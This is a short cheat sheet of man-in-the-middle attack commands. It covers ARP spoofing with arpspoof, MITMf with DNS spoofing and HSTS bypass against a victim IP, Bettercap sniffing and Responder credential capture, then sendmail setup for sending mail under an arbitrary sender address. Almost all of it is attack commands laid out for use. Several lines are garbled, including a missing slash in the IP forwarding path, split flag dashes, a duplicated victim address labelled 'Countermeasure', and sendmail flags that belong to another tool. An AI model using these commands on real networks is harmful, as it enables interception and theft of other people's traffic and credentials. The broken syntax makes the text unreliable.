MiTM

MiTMf

  Enable IP forwarding

# echo 1 > proc/sys/net/ipv4/ip_forward

  Do arpspoof in separate window(Countermeasure)

# ./arpspoof -t VICTIM_IP VICTIM_IP

  MiTMf

# ./mitmf - -spoof - -arp - -gateway 192.168.1.1 - -target  VICTIM_IP - -dns - -hsts -i wlan0

Bettercap

# bettercap --sniffer -G 192.168.1.1

Responder

# ./Responder.py -I wlan0

sendmail

Install

  • apt-get install sendmail sendmail-base sendmail-bin sendmail-cf mailutils

Configure

  • nano /etc/mail/sendmail.mc
  • change first line into second:
    • DAEMON_OPTIONS(`Family=inet,  Name=MTA-v4, Port=smtp, Addr=127.0.0.1′)dnl
    • dnl DAEMON_OPTIONS(`Family=inet,  Name=MTA-v4, Port=smtp, Addr=127.0.0.1′)dnl

Send mail 

  • sendmail -t  to@user.com -f from@user.com -s smtp.server.com -u subject -m messagebody